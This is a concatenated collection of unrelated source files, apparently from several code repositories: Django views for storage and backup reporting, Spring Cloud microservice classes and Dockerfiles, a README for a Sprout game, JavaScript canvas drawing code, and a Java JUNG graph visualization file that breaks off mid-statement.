return HttpResponse(resp) #表单导出 def exportexcel(request): Arrays_list = obtain_his_info() for each_array in Arrays_list: Arrays_group_dict = func(each_array[0],each_array[1],each_array[2],each_array[3]) init_excel(Arrays_group_dict) return HttpResponseRedirect("../array") def nbuview(request): conn = pymysql.connect(host='127.0.0.1', port=3306, user='root', passwd='<PASSWORD>', db='managedb', charset='utf8') cursor = conn.cursor() #日表生成 cursor.execute("select distinct storage_unit from myapp_nbu_jobinfo") tuple_of_storage_unit = cursor.fetchall() datedict = {} valuedict = {} datedict_weekly = {} valuedict_weekly = {} datedict_monthly = {} valuedict_monthly = {} for each_unit in tuple_of_storage_unit: if each_unit[0] != ' ': cursor.execute("select * from myapp_nbu_daily where storage_unit = %s",(each_unit[0])) count_today = cursor.fetchall() list_daily = [] dateList = [] valueList = [] for each in count_today: list = [] a = each[0].strftime("%H:%M:%S") list.append(a) list.append(each[1]) list_daily.append(list) dateList.append(a) valueList.append(each[1]) b=each_unit[0].encode('utf-8') datedict[b] = dateList valuedict[b] = valueList #获取磁带库与storage_unit关系 cursor.execute("select * from myapp_nbu_library") library_dict={} L = cursor.fetchall() for each in L: m = each[1].encode('utf-8') library_dict[m] = each[0].encode('utf-8') return render(request, 'myApp/nbuview.html',{"dateList":datedict,"valueList":valuedict,"dateList_weekly":datedict_weekly,"valueList_weekly":valuedict_weekly,"dateList_monthly":datedict_monthly,"valueList_monthly":valuedict_monthly,"library_dict":library_dict}) def nbuview_weekly(request): conn = pymysql.connect(host='127.0.0.1', port=3306, user='root', passwd='<PASSWORD>', db='managedb', charset='utf8') cursor = conn.cursor() cursor.execute("select distinct storage_unit from myapp_nbu_jobinfo") tuple_of_storage_unit = cursor.fetchall() datedict_weekly = {} valuedict_weekly = {} for each_unit in tuple_of_storage_unit: if each_unit[0] != ' ': #周报生成 time_begin = datetime.date.today() time_stamp = time.mktime(time_begin.timetuple()) - 604800 time_to_insert = time.strftime("%Y/%m/%d %H:%M:%S", time.localtime(time_stamp)) cursor.execute("select * from myapp_nbu_week_all WHERE time >= %s and storage_unit = %s",(time_to_insert,each_unit[0])) count_week = cursor.fetchall() list_weekly = [] dateList_weekly = [] valueList_weekly = [] for each in count_week: list = [] a = each[0].strftime("%Y/%m/%d \n %H:%M:%S") list.append(a) list.append(each[1]) list_weekly.append(list) dateList_weekly.append(a) valueList_weekly.append(each[1]) b = each_unit[0].encode('utf-8') datedict_weekly[b] = dateList_weekly valuedict_weekly[b] = valueList_weekly #获取磁带库与storage_unit关系 cursor.execute("select * from myapp_nbu_library") library_dict={} L = cursor.fetchall() for each in L: m = each[1].encode('utf-8') library_dict[m] = each[0].encode('utf-8') return render(request, 'myApp/nbuview_weekly.html',{"dateList_weekly":datedict_weekly,"valueList_weekly":valuedict_weekly,"library_dict":library_dict}) def nbuview_monthly(request): conn = pymysql.connect(host='127.0.0.1', port=3306, user='root', passwd='<PASSWORD>', db='managedb', charset='utf8') cursor = conn.cursor() cursor.execute("select distinct storage_unit from myapp_nbu_jobinfo") tuple_of_storage_unit = cursor.fetchall() datedict_monthly = {} valuedict_monthly = {} for each_unit in tuple_of_storage_unit: if each_unit[0] != ' ': #月表生成 time_begin = datetime.date.today() time_stamp = time.mktime(time_begin.timetuple()) - 259200 time_to_insert = time.strftime("%Y/%m/%d %H:%M:%S", time.localtime(time_stamp)) cursor.execute("select * from myapp_nbu_monthly where time > %s and storage_unit = %s",(time_to_insert,each_unit[0])) count_today = cursor.fetchall() list_monthly = [] dateList_monthly = [] valueList_monthly = [] for each in count_today: list = [] a = each[0].strftime("%Y/%m/%d") list.append(a) list.append(each[1]) list_monthly.append(list) dateList_monthly.append(a) valueList_monthly.append(each[1]) b = each_unit[0].encode('utf-8') datedict_monthly[b] = dateList_monthly valuedict_monthly[b] = valueList_monthly #获取磁带库与storage_unit关系 cursor.execute("select * from myapp_nbu_library") library_dict={} L = cursor.fetchall() for each in L: m = each[1].encode('utf-8') library_dict[m] = each[0].encode('utf-8') return render(request, 'myApp/nbuview_monthly.html',{"dateList_monthly":datedict_monthly,"valueList_monthly":valuedict_monthly,"library_dict":library_dict}) def getecharts(request,postinfo): #先拼接时间 time_begin = datetime.date.today() time_stamp = time.mktime(time_begin.timetuple()) - 86400 + time.mktime(postinfo[0].timetuple()) time_to_insert = time.strftime("%Y/%m/%d %H:%M:%S", time.localtime(time_stamp)) conn = pymysql.connect(host='127.0.0.1', port=3306, user='root', passwd='<PASSWORD>', db='managedb', charset='utf8') cursor = conn.cursor() # 查询数据 cursor.execute("select policy from myapp_nbu_jobinfo WHERE storage_unit=%s and start_time <= %s and end_time >= %s",(postinfo[1],time_to_insert,time_to_insert)) lists_of_policys = cursor.fetchall() return render(request, 'myApp/nbuview.html',{"lists_of_policys":lists_of_policys}) def getpolicy_from_db(request): #先把时间串拼起来 data = json.load(request) #先将时间化为时间戳 a= data['time_to_search'] a= str(a) b = a.split(':') s = int(b[0])*3600 + int(b[1])*60 + int(b[2]) time_begin = datetime.date.today() time_stamp = time.mktime(time_begin.timetuple()) - 86400*3 + s #这里别忘了后期改一下 c = int(time_stamp) time_to_insert = time.strftime("%Y/%m/%d %H:%M:%S", time.localtime(c)) conn = pymysql.connect(host='127.0.0.1', port=3306, user='root', passwd='<PASSWORD>', db='managedb', charset='utf8') cursor = conn.cursor() cursor.execute("select policy from myapp_nbu_time where time=%s and storage_unit=%s",(time_to_insert,data['storage_unit'])) policy_dict = cursor.fetchall() conn.close() from django.http import JsonResponse return JsonResponse(policy_dict,safe=False)<file_sep># -*- coding: utf-8 -*- from django.contrib import admin # Register your models here. from models import Array,Lun,Server #创建后台维护页面的新类 class Serveradmin(admin.ModelAdmin): #列表页属性 list_display = ['pk','server_ID','server_name','server_IP','server_wwn','array_id_id'] list_filter = ['server_ID','array_id_id'] search_fields = ['server_ID','server_name','server_IP','server_wwn','array_id_id'] list_per_page = 10 # # #添加修改页属性 # fields = [] # fieldset = [] class Lunadmin(admin.ModelAdmin): def LUNID(self): return self.lun_ID LUNID.short_description = "LUN 唯一标识" #列表页属性 list_display = ['pk',LUNID,'lun_NAME','lun_CAPACITY','lun_WWN','server_ID'] list_filter = ['lun_ID','lun_WWN','server_ID'] search_fields = ['lun_ID','lun_WWN','server_ID'] list_per_page = 10 # # #添加修改页属性 #fields = ['lun_NAME','lun_CAPACITY','lun_WWN','server_ID','lun_ID'] fieldsets = [("base",{"fields":['lun_ID']}),("info",{"fields":['lun_NAME','lun_CAPACITY','lun_WWN','server_ID']})] #修改页面字段描述 #采用装饰器 #装饰的是一个类 @admin.register(Array) class Arrayadmin(admin.ModelAdmin): #列表页属性 list_display = ['pk','array_id','array_name','location','array_ip','PRODUCTVERSION','patchVersion','TOTALCAPACITY','FREEDISKSCAPACITY','STORAGEPOOLCAPACITY','STORAGEPOOLFREECAPACITY'] list_filter = ['array_name','array_ip'] search_fields = ['array_name','array_ip'] list_per_page = 10 # # #添加修改页属性 # fields = ['',''] # fieldset = [] actions_on_bottom = True actions_on_top = False #注册的时候将类加入到属性里面去 # admin.site.register(Array,Arrayadmin) admin.site.register(Lun,Lunadmin) admin.site.register(Server,Serveradmin)<file_sep># -*- coding: utf-8 -*- from django.conf.urls import url,include from . import views # '^$' 表示以什么都没有开头,以什么都没有结束 ^x 表示以x开头 y$表示以y结尾 urlpatterns = [ url(r'^$',views.index), #这里加小括号的的意思是接受小括号里面的值 表示的是以数字开头 以/结尾的一段字符串 如果没有小括号,参数就无法传递到detail这个函数当中 #小括号是正则当中组的概念 url(r'^(\d+)/(\d+)/$',views.detail), url(r'^array/$',views.array), url(r'^searcharray/$',views.searcharray), url(r'^get/tabjson/$',views.getjson), url(r'^initdb/$',views.initdb), url(r'^inputarrayinfo/$',views.inputarrayinfo), url(r'^submit_array_info$',views.submit_array_info), url(r'^exportexcel/$',views.exportexcel), url(r'^nbuview/$',views.nbuview), url(r'^nbuview_weekly/$',views.nbuview_weekly), url(r'^nbuview_monthly/$',views.nbuview_monthly), url(r'^getecharts/$',views.getecharts), url(r'^getpolicy_from_db$',views.getpolicy_from_db), ]
ec8ca7b09b8008e31ebf951394262d5e9d2fc5a8
[ "Python" ]
11
Python
hund567/django_huawei
a12060786ad5ba4a5b1920199a8a33b2147751f1
632a944e045698130eeb14615a5996f53214039e
refs/heads/master
<repo_name>DISV/learngit<file_sep>/disvwork/app/src/main/java/com/jojo/subjectmanager/UI/MainActivity.java package com.jojo.subjectmanager.UI; import android.os.Bundle; import android.view.View; import android.widget.AdapterView; import android.widget.CheckBox; import android.widget.ListView; import com.jojo.subjectmanager.R; import com.jojo.subjectmanager.database.Appdatabase; import com.jojo.subjectmanager.database.dao.courseDao; import com.jojo.subjectmanager.database.table.courseEntity; import java.util.ArrayList; import java.util.List; import androidx.appcompat.app.AppCompatActivity; public class MainActivity extends AppCompatActivity { private List<courseEntity> courseEntityList =new ArrayList<>(); int clock=0; CheckBox checkBox; courseEntity courseEntity = new courseEntity(); @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main_layout); init(); checkBox =findViewById(R.id.clock); checkBox.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { if (clock==0){ clock=1; }else {clock=0;} } }); } //初始化,获得课程列表 private void init(){ Appdatabase appdatabase=Appdatabase.getInstance(); courseDao courseDao =appdatabase.getcourseDao(); courseEntityList= courseDao.getAll(); CourseAdapter courseAdapter = new CourseAdapter(MainActivity.this,R.layout.listview_course_layout,courseEntityList); ListView listView= findViewById(R.id.listview); listView.setAdapter(courseAdapter); listView.setOnItemClickListener(new AdapterView.OnItemClickListener() { @Override public void onItemClick(AdapterView<?> parent, View view, int position, long id) { courseEntity = courseEntityList.get(position); } }); } }
ce22d610007d6bed437460abc5553a350aaa048c
[ "Java" ]
1
Java
DISV/learngit
26896d74584e880eaede4c96c414a443a0268422
11ea946fdceaa1cb96c2518b796900bceae73496
refs/heads/master
<file_sep>package com.sprout.game; import java.util.ArrayList; import java.util.Set; /** * Created by megasoch on 19.12.2015. */ public class Intersection { private static int turn(PointElement a, PointElement b, PointElement c) { double res = (b.getX() - a.getX()) * (c.getY() - a.getY()) - (b.getY() - a.getY()) * (c.getX() - a.getX()); double check = 0.1; if(res > check) { return 1; } if(res < -check) { return -1; } return 0; } private static boolean intersectionSegments(PointElement a, PointElement b, PointElement c, PointElement d) { if(turn(a, b, c) * turn(a, b, d) < 0) { if(turn(c, d, a) * turn(c, d, b) < 0) { return true; } } return false; } public static boolean hasIntersection(PointElement p, Set<EdgeElement> edges, ArrayList<PointElement> edgePointSequence) { for (EdgeElement e: edges) { ArrayList<PointElement> curr = e.getPoints(); for (int i = 0; i < curr.size() - 1; i++) { if (intersectionSegments(p, edgePointSequence.get(edgePointSequence.size() - 1), curr.get(i), curr.get(i + 1))) { return true; } } } for (int i = 0; i < edgePointSequence.size() - 1; i++) { if (intersectionSegments(p, edgePointSequence.get(edgePointSequence.size() - 1), edgePointSequence.get(i), edgePointSequence.get(i + 1))) { return true; } } return false; } public static float length(PointElement a, PointElement b) { float sqrX = (a.getX() - b.getX()) * (a.getX() - b.getX()); float sqrY = (a.getY() - b.getY()) * (a.getY() - b.getY()); return (float)Math.sqrt(sqrX + sqrY); } public static float sequenceLength(ArrayList<PointElement> edgePointSequence) { float length = 0; for (int i = 0; i < edgePointSequence.size() - 1; i++) { PointElement a = edgePointSequence.get(i); PointElement b = edgePointSequence.get(i + 1); length += length(a, b); } return length; } private static boolean boundingBox(PointElement a, PointElement b, PointElement c, PointElement d) { return (a.getX() == c.getX() && a.getY() == c.getY() && b.getX() == d.getX() && b.getY() == d.getY()); } } <file_sep>package com.sprout.game; import com.badlogic.gdx.Gdx; import com.badlogic.gdx.Input; import com.badlogic.gdx.InputProcessor; import com.badlogic.gdx.Screen; import com.badlogic.gdx.graphics.Color; import com.badlogic.gdx.graphics.Texture; import com.badlogic.gdx.graphics.g2d.BitmapFont; import com.badlogic.gdx.graphics.g2d.SpriteBatch; import com.badlogic.gdx.graphics.glutils.ShapeRenderer; import java.io.IOException; /** * Created by megasoch on 30.01.2016. */ public class MenuScreen implements Screen, InputProcessor { private SpriteBatch spriteBatch; SproutGame game; public GameLogic gl; private Texture backgroundTexture; ShapeRenderer shapeRenderer; BitmapFont font; public MenuScreen(SproutGame game, GameLogic gl) { this.game = game; this.gl = gl; spriteBatch = new SpriteBatch(); shapeRenderer = new ShapeRenderer(); backgroundTexture = new Texture("background.jpg"); font = new BitmapFont(); font.setColor(Color.BLUE); Gdx.input.setInputProcessor(this); } @Override public void show() { } @Override public void render(float delta) { spriteBatch.begin(); renderBackground(); renderMenuText(); spriteBatch.end(); renderMenu(); } public void renderBackground() { spriteBatch.setColor(Color.WHITE); spriteBatch.draw(backgroundTexture, 0, 0, 0, 0, Gdx.graphics.getWidth(), Gdx.graphics.getHeight()); } public void renderMenuText() { font.draw(spriteBatch, "Create game", 150, 450, 350, 1, false); font.draw(spriteBatch, "Join game", 150, 300, 350, 1, false); font.draw(spriteBatch, "Exit", 150, 150, 350, 1, false); } public void renderMenu() { shapeRenderer.begin(ShapeRenderer.ShapeType.Line); shapeRenderer.setColor(Color.BLUE); shapeRenderer.rect(150, 100, 350, 100); shapeRenderer.rect(150, 250, 350, 100); shapeRenderer.rect(150, 400, 350, 100); shapeRenderer.end(); } @Override public void resize(int width, int height) { } @Override public void pause() { } @Override public void resume() { } @Override public void hide() { } @Override public void dispose() { } @Override public boolean keyDown(int keycode) { return false; } @Override public boolean keyUp(int keycode) { return false; } @Override public boolean keyTyped(char character) { return false; } @Override public boolean touchDown(int screenX, int screenY, int pointer, int button) { if (button == Input.Buttons.LEFT && game.getScreen().getClass().equals(MenuScreen.class)) { float posX = screenX; float posY = Gdx.graphics.getHeight() - screenY; //exit if (posX > 150 && posX < 500 && posY > 100 && posY < 200) { Gdx.app.exit(); } //join if (posX > 150 && posX < 500 && posY > 250 && posY < 350) { try { game.setScreen(new JoinScreen(game, gl)); } catch (IOException e) { e.printStackTrace(); } } //create if (posX > 150 && posX < 500 && posY > 400 && posY < 500) { try { game.getClient().createGame(); game.setScreen(new GameScreen(game, gl, true)); } catch (IOException e) { e.printStackTrace(); } } } return false; } @Override public boolean touchUp(int screenX, int screenY, int pointer, int button) { return false; } @Override public boolean touchDragged(int screenX, int screenY, int pointer) { return false; } @Override public boolean mouseMoved(int screenX, int screenY) { return false; } @Override public boolean scrolled(int amount) { return false; } } <file_sep># Sprout game with user interface Игра sprout с графическим интерфесом. Взамодействие между клиентами происходит с помощью сервера, который поддерживает много клиентов одновременно. ## Интерфейс ![Меню](/screenshots/menu.png) В меню можно: * Создать нову игру * На сервере создается новая игра и добавляется в список открытых игр * Присоединиться к игре * Получить список открытых игр с сервера и присоединиться к выбранной, при этом игра пропадает из списка * Выйти из приложения ![Меню](/screenshots/join.png) В самой игре игроки делают ходы по очереди. Вы не можете ходить не в свой ход. ![Меню](/screenshots/game.png) <file_sep>package com.sprout.game; import java.io.*; import java.net.Socket; import java.util.ArrayList; import java.util.List; public class Client extends Thread { private Socket socket = null; private ObjectOutputStream outputStream = null; private ObjectInputStream inStream = null; public Client() throws IOException { socket = new Socket("localhost", 4445); System.out.println("Connected"); } public void communicate(GameLogic gl) throws ClassNotFoundException, IOException { outputStream.writeObject(gl); System.out.println("Object send = " + gl.toString()); } public List<Integer> getGames() throws IOException { socket.getOutputStream().write(("games\n").getBytes()); BufferedReader br = new BufferedReader(new InputStreamReader(socket.getInputStream())); String curr; ArrayList<Integer> res = new ArrayList<>(); while (!(curr = br.readLine()).equals("endofgames")) { res.add(Integer.parseInt(curr)); } return res; } public void joinGame(int id) throws IOException { socket.getOutputStream().write(("join\n" + id + "\n").getBytes()); } public void createGame() throws IOException { socket.getOutputStream().write("create\n".getBytes()); } @Override public void run() { try { outputStream = new ObjectOutputStream(socket.getOutputStream()); inStream = new ObjectInputStream(socket.getInputStream()); } catch (IOException e) { e.printStackTrace(); } while (true) { try { GameScreen.gl = (GameLogic) inStream.readObject(); GameScreen.MYMOVE = true; } catch (IOException e) { e.printStackTrace(); } catch (ClassNotFoundException e) { e.printStackTrace(); } System.out.println("Object received = " + GameScreen.gl.toString()); } } }
40b032633f8fc98cf608589e029561c6f1d65201
[ "Markdown", "Java" ]
4
Java
megasoch/sprout-UI
3b09988e28f6c4f4a79834d4ee37459c502c9c4b
27c660cf0282e556c12d4817f92ed4860dbe4992
refs/heads/master
<repo_name>asix360/ProntuarioTest<file_sep>/prontuarios/models.py from django.db import models from atendimentos.models import * from funcionarios.models import * from farmacos.models import * #importa todas as classes do modelo atendimento. Caso queira especificar #devemos tirar o "*" e colocar a classe desejada. class Prontuario(models.Model): codigo_Prontuario = models.IntegerField() data_Consulta = models.DateField() paciente = models.ForeignKey(Paciente) medico = models.ManyToManyField(Medico) remedio = models.ManyToManyField(Remedio) # Create your models here. <file_sep>/atendimentos/urls.py from django.conf.urls import include, url from . import views from .views import PacienteListVeiw,PacienteUpdate,PacienteDelete urlpatterns = [ url(r'^$', views.poslogin), url(r'cadastro/', views.cadastroPaciente), url(r'lista/$', PacienteListVeiw.as_view(), name='pacinente-list'), url(r'edit/(?P<pk>\d+)$', views.PacienteUpdate.as_view(), name='paciente_update'), url(r'delete/(?P<pk>\d+)$', views.PacienteDelete.as_view(), name='paciente_delete'), ] <file_sep>/atendimentos/views.py from django.shortcuts import render from django.http import HttpResponseRedirect from django.views.generic.list import ListView from django.utils import timezone from django.views.generic.edit import CreateView, UpdateView, DeleteView from django.core.urlresolvers import reverse_lazy from .form import PacienteForm from .models import Paciente def poslogin(request): if request.user.id: return render(request, 'Bem_vindo.html', {}) else: return HttpResponseRedirect("/") def cadastroPaciente(request): if not request.user.id: return HttpResponseRedirect("/") else: if request.method == 'POST': form = PacienteForm(request.POST) # check whether it's valid: if form.is_valid(): # process the data in form.cleaned_data as required form.save() # redirect to a new URL: return HttpResponseRedirect('/inicio/') # if a GET (or any other method) we'll create a blank form else: form = PacienteForm() return render(request, 'CadastroPaciente.html', {'form': form}) class PacienteListVeiw(ListView): model = Paciente def lista(self, **kwargs): list = super (PacienteListVeiw, self) return list class PacienteUpdate(UpdateView): model = Paciente success_url = '/inicio/lista/' fields = fields = ['nome','cpf','data_Nascimento','sexo','estadoCivil','data_Atendimento','queixaPrincipal',] class PacienteDelete(DeleteView): model = Paciente success_url = '/inicio/lista/'
41ad031992cfe242083c6f1cdae1b4e427154648
[ "Python" ]
3
Python
asix360/ProntuarioTest
19f654ae67de4e9ec22e5c03d536f0e6fee8e784
a1a5aa830ddade049a4342c2b70d08f902fff100
refs/heads/master
<repo_name>barunsarraf/microservices_interaction<file_sep>/ConfigServer/Dockerfile FROM openjdk:11 WORKDIR usr/src ADD ./target/microservices-demo-0.0.1-SNAPSHOT.jar /usr/src/microservices-demo-0.0.1-SNAPSHOT.jar ENTRYPOINT ["java","-jar","microservices-demo-0.0.1-SNAPSHOT.jar"] <file_sep>/ConfigServer/src/main/java/com/stackroute/microservicesdemo/MicroServicesDemoApplication.java package com.stackroute.microservicesdemo; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.cloud.config.server.EnableConfigServer; //import org.springframework.cloud.netflix.eureka.EnableEurekaClient; import org.springframework.web.bind.annotation.RequestMapping; @EnableConfigServer /*@EnableEurekaClient*/ @SpringBootApplication public class MicroServicesDemoApplication { public static void main(String[] args) { SpringApplication.run(MicroServicesDemoApplication.class, args); } @RequestMapping(value = "/") public String home() { return "ConfigServer Micro Services Eureka Client application"; } } <file_sep>/ConfigServer/target/maven-archiver/pom.properties groupId=com.stackroute artifactId=microservices-demo version=0.0.1-SNAPSHOT <file_sep>/eureka/target/maven-archiver/pom.properties groupId=com.stackroute artifactId=eureka version=0.0.1-SNAPSHOT <file_sep>/MovieMicroService/target/maven-archiver/pom.properties groupId=com.stackroute artifactId=Movie version=0.0.1-SNAPSHOT <file_sep>/eureka/Dockerfile FROM openjdk:11 WORKDIR usr/src ADD ./target/eureka-0.0.1-SNAPSHOT.jar /usr/src/eureka-0.0.1-SNAPSHOT.jar ENTRYPOINT ["java","-jar","eureka-0.0.1-SNAPSHOT.jar"] <file_sep>/MovieMicroService/src/main/java/com/stackroute/Movie/Exception/MovieAlreadyFoundException.java package com.stackroute.Movie.Exception; public class MovieAlreadyFoundException extends Exception { @Override public String getMessage() { return message; } private String message; public MovieAlreadyFoundException() { } public MovieAlreadyFoundException(String message1) { super(message1); this.message = message1; } }
fc62da844056f463c3c586a56c819e0a37af9287
[ "Java", "Dockerfile", "INI" ]
7
Dockerfile
barunsarraf/microservices_interaction
942a12cf9980ae495603c994612dde58003fa634
b1e9f07534258bb579ec10239961c1ef29f51de1
refs/heads/master
<file_sep>function exceptCreation(){ canvas.removeEventListener('mousedown',earserDown) canvas.removeEventListener('mousemove',earserF) canvas.removeEventListener('mousemove',clearPart) canvas.removeEventListener('mouseup',buildRect) } function exceptEarser(){ canvas.removeEventListener('mousedown',getLastPoint) canvas.removeEventListener('mousemove',getCurrentPoint) canvas.removeEventListener('mouseup',buildRect) } function buildRect(e){ x2 = e.pageX-10 y2 = e.pageY-10 ctx.strokeRect(x1,y1,x2-x1,y2-y1) }<file_sep>let red = document.getElementsByClassName('red')[0], orange = document.getElementsByClassName('orange')[0], yellow = document.getElementsByClassName('yellow')[0], green = document.getElementsByClassName('green')[0], blue = document.getElementsByClassName('blue')[0], pink = document.getElementsByClassName('pink')[0], black = document.getElementsByClassName('black')[0] gray = document.getElementsByClassName('gray')[0] var colorList = [red,orange,yellow,green,blue,pink,black,gray] //ctx.strokeStyle = 'red' black.classList.add('backgroundColor') red.addEventListener('click',function(){ removeColor() red.classList.add('backgroundColor') allColor = 'red' }) orange.addEventListener('click',function(){ removeColor() orange.classList.add('backgroundColor') allColor = 'orange' }) yellow.addEventListener('click',function(){ removeColor() yellow.classList.add('backgroundColor') allColor = 'yellow' }) green.addEventListener('click',function(){ removeColor() green.classList.add('backgroundColor') allColor = 'green' }) blue.addEventListener('click',function(){ removeColor() blue.classList.add('backgroundColor') allColor = 'blue' }) pink.addEventListener('click',function(){ removeColor() pink.classList.add('backgroundColor') allColor = 'pink' }) black.addEventListener('click',function(){ removeColor() black.classList.add('backgroundColor') allColor = 'black' }) gray.addEventListener('click',function(){ removeColor() gray.classList.add('backgroundColor') allColor = 'gray' }) function removeColor(){ colorList.forEach(function(ele){ ele.classList.remove('backgroundColor') }) }<file_sep>## 在线画板 预览: https://dingchaofa.github.io/Canvas/canvas.html #### 版本说明 1. 目前只支持PC端使用 2. 后续持续更新中... 3. HTML 5,CSS 3,原生js实现,无库,无插件 #### 需求 1. 利用canvas做一个在线画板,能在其上画东西 #### 功能 1. 画板可以调色 2. 可添加图形,例如三角形,圆等 3. 可变线宽 4. 有橡皮擦功能 5. 可下载 6. 添加动画效果 #### 实现思想 1. 对页面进行分区 2. 有编辑区,工具栏 3. 图标可以用iconfont #### 待解决问题 1. 添加图形时,时时显示图形的形状 2. 关闭窗口前,自定义模态框,给用户友好的提示保存作品,由于浏览器安全限制,在2016年4月chrome就不支持自定义字符串了。 #### 注意事项 1. 由于鼠标点击位置不在鼠标中心位置,一般为20px,记得减去,才能获得鼠标中心位置。 2. 事件绑定时注意绑定间的逻辑关系,取消绑定时注意取消对象。 3. 注意各个模块间的依赖关系,对于调用未解析的模块,可以用typeof判断一下,我觉得我这个想法太聪明了^_^ 4. 注意污染全局变量的问题 5. 取消绑定事件时,可以统一封装在一个函数内 如:removeEvent() 6. 注意beginPath的使用,即添加新路径 7. 调用beforeunload事件,对于window.alert(), window.confirm(), 和 window.prompt() 的调用会被忽略。 8. 利用webpack打包模块,由于现行代码量较少,打包反而增加解析负担。 9. 2017.7.26<file_sep>let tri = document.getElementsByClassName('triangle')[0] let rect = document.getElementsByClassName('rectangle')[0] let circ = document.getElementsByClassName('circle')[0] let sect = document.getElementsByClassName('sector')[0] classList.push(tri,rect,circ) var x1,y1,x2,y2 //矩形 rect.addEventListener('click',function(){ removeEvent() rect.classList.add('backgroundColor') canvas.addEventListener('mouseenter',rectangle) }) function rectangle(){ canvas.addEventListener('mousedown',function(e){ x1 = e.clientX-10 y1 = e.clientY-10 // 未实现时时显示边框 }) canvas.addEventListener('mouseup',buildRect) //console.log('画矩形') } function buildRect(e){ x2 = e.clientX-10 y2 = e.clientY-10 ctx.strokeRect(x1,y1,x2-x1,y2-y1) } //三角形 tri.addEventListener('click',function(){ removeEvent() tri.classList.add('backgroundColor') canvas.addEventListener('mouseenter',triangle) //console.log('要开始画三角形l') }) function triangle(e){ canvas.addEventListener('mousedown',function(e){ x1 = e.clientX-10 y1 = e.clientY-10 // 未实现时时显示边框 //console.log(x1,y1,'三角形') }) canvas.addEventListener('mouseup',buildTri) } function buildTri(e){ x2 = e.clientX-10 y2 = e.clientY-10 ctx.beginPath() ctx.moveTo(x1,y1) ctx.lineTo(x2,y1) ctx.lineTo(x2,y2) ctx.closePath() ctx.stroke() //console.log(x1,y1,x2,y2) //console.log('画三角形') } //圆形 circ.addEventListener('click',function(){ removeEvent() circ.classList.add('backgroundColor') canvas.addEventListener('mouseenter',circle) }) function circle(){ canvas.addEventListener('mousedown',function(e){ x1 = e.clientX-10 y1 = e.clientY-10 // 未实现时时显示边框 }) canvas.addEventListener('mouseup',buildCirc) //console.log('画矩形') } function buildCirc(e){ x2 = e.clientX-10 y2 = e.clientY-10 let radius =Math.sqrt((x2-x1)*(x2-x1)+(y2-y1)*(y2-y1)) ctx.beginPath() ctx.arc(x1,y1,radius,0,Math.PI*2,true) ctx.strokeStyle = '#000' ctx.stroke() } //扇形 /* sect.addEventListener('click',function(){ removeEvent() canvas.addEventListener('mouseenter',sector) }) var circleCenter = {} function sector(){ canvas.addEventListener('click',function(e){ circleCenter = null let cx = e.clientX-10, cy = e.clientY-10 circleCenter={cx,cy} //圆心 }) canvas.addEventListener('mousedown',function(e){ x1 = e.clientX-10 y1 = e.clientY-10 // 未实现时时显示边框 }) canvas.addEventListener('mouseup',buildSect) console.log('画扇形') } function buildSect(e){ x2 = e.clientX-10 y2 = e.clientY-10 let radius =Math.sqrt((x2-circleCenter.cx)*(x2-circleCenter.cx)+(y2-circleCenter.cy)*(y2-circleCenter.cy)) let deg1 = (x1-circleCenter.cx)/radius let startAngle = Math.acos(deg1) //开始弧度 let deg2 = (x2-circleCenter.cx)/radius let endAngle = Math.acos(deg2) //结束弧度 ctx.beginPath() ctx.moveTo(circleCenter.cx,circleCenter.cy) ctx.lineTo(x1,y1) console.log(radius,startAngle,endAngle) ctx.arc(circleCenter.cx,circleCenter.cy,radius,startAngle,endAngle,true) // ctx.closePath() //ctx.moveTo(circleCenter.cx,circleCenter.cy) //ctx.lineTo(x2,y2) ctx.strokeStyle = '#000' ctx.stroke() console.log('生成扇形') } */<file_sep>let thin = document.getElementsByClassName('thin')[0] let middleThin = document.getElementsByClassName('middleThin')[0] let middleWide = document.getElementsByClassName('middleWide')[0] let wide = document.getElementsByClassName('wide')[0] var lineList = [thin,middleThin,middleWide,wide] //classList = classList.concat(lineList) middleThin.classList.add('backgroundColor') //ctx.lineWidth = allLine thin.addEventListener('click',function(){ allLine = 0.5 removeLine() thin.classList.add('backgroundColor') }) middleThin.addEventListener('click',function(){ allLine = 1 removeLine() middleThin.classList.add('backgroundColor') }) middleWide.addEventListener('click',function(){ allLine = 2 removeLine() middleWide.classList.add('backgroundColor') }) wide.addEventListener('click',function(){ allLine = 3 removeLine() wide.classList.add('backgroundColor') }) function removeLine(){ lineList.forEach(function(ele){ ele.classList.remove('backgroundColor') }) }
44f1061989cd40c87b5b7eeff8107dd3e829ff63
[ "JavaScript", "Markdown" ]
5
JavaScript
superDCF/Canvas
b77a802f900d26bd6180855e9af2505bfb81c8c4
2a915784a0b4a242a0b09a09283b6633248db849
refs/heads/master
<repo_name>FLAGlab/MGGA<file_sep>/src/main/scala/Visualization/JungTest.java package Visualization; import java.awt.BorderLayout; import java.awt.Button; import java.awt.Color; import java.awt.Dimension; import java.awt.Paint; import java.awt.Polygon; import java.awt.Shape; import java.awt.Stroke; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.awt.geom.AffineTransform; import java.awt.geom.Line2D; import java.awt.geom.Point2D; import java.awt.geom.Rectangle2D; import java.util.ArrayList; import java.util.List; import javax.swing.JButton; import javax.swing.JFrame; import javax.swing.JLabel; import javax.swing.JOptionPane; import javax.swing.JPanel; import javax.swing.JTextField; import Automata.Automaton; import org.apache.commons.collections15.Transformer; import edu.uci.ics.jung.algorithms.layout.CircleLayout; import edu.uci.ics.jung.algorithms.layout.Layout; import edu.uci.ics.jung.graph.DirectedSparseGraph; import edu.uci.ics.jung.visualization.Layer; import edu.uci.ics.jung.visualization.RenderContext; import edu.uci.ics.jung.visualization.VisualizationViewer; import edu.uci.ics.jung.visualization.control.DefaultModalGraphMouse; import edu.uci.ics.jung.visualization.control.ModalGraphMouse; import edu.uci.ics.jung.visualization.decorators.ToStringLabeller; import edu.uci.ics.jung.visualization.renderers.Renderer; import edu.uci.ics.jung.visualization.renderers.Renderer.VertexLabel.Position; import edu.uci.ics.jung.visualization.transform.shape.GraphicsDecorator; public class JungTest { private static String initialState = ""; private static String[] finalState; private static String[] allStates; public static void show(String[] pVertex, String[] pEdge, String pInitialState, String[] pFinalState, Automaton M) { initialState = pInitialState; finalState = pFinalState; allStates = pVertex; DirectedSparseGraph<String, String> g = new DirectedSparseGraph<String, String>(); for (String v : pVertex) { g.addVertex(v); } for (String v : pEdge) { String[] nEdge = v.split("-"); g.addEdge(v, nEdge[1], nEdge[2]); } VisualizationViewer<String, String> vs = new VisualizationViewer<String, String>( new 